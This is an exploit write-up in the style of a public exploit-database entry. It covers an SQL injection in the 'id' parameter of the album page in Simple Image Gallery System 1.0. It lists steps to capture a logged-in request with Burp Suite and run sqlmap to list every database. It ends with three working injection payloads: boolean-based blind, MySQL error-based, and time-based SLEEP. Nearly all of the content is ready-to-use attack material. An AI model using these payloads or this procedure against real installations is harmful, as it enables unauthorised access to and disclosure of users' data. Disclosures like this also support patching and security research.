Simple Image Gallery System 1.0 - 'id' SQL Injection

# Exploit Title: Simple Image Gallery System 1.0 - 'id' SQL Injection
# Date: 2020-08-12
# Exploit Author: Azumah Foresight Xorlali (M4sk0ff)
# Vendor Homepage: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14903&title=Simple+Image+Gallery+Web+App+using+PHP+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Description:
Simple Image Gallery System 1.0 application is vulnerable to
SQL injection via the "id" parameter on the album page.

POC:

Step 1. Login to the application with any verified user credentials

Step 2. Click on Albums page and select an albums if created or create
by clicking on "Add New" on the top right and select the album.

Step 3. Click on an image and capture the request in burpsuite.
Now copy the request and save it as test.req .

Step 4. Run the sqlmap command "sqlmap -r test.req --dbs

Step 5. This will inject successfully and you will have an information
disclosure of all databases contents.

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=3' AND 7561=7561 AND 'SzOW'='SzOW

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: id=3' OR (SELECT 9448 FROM(SELECT
COUNT(*),CONCAT(0x7178707071,(SELECT
(ELT(9448=9448,1))),0x71787a7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'SXqA'='SXqA

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=3' AND (SELECT 1250 FROM (SELECT(SLEEP(5)))aNMX) AND
'qkau'='qkau
---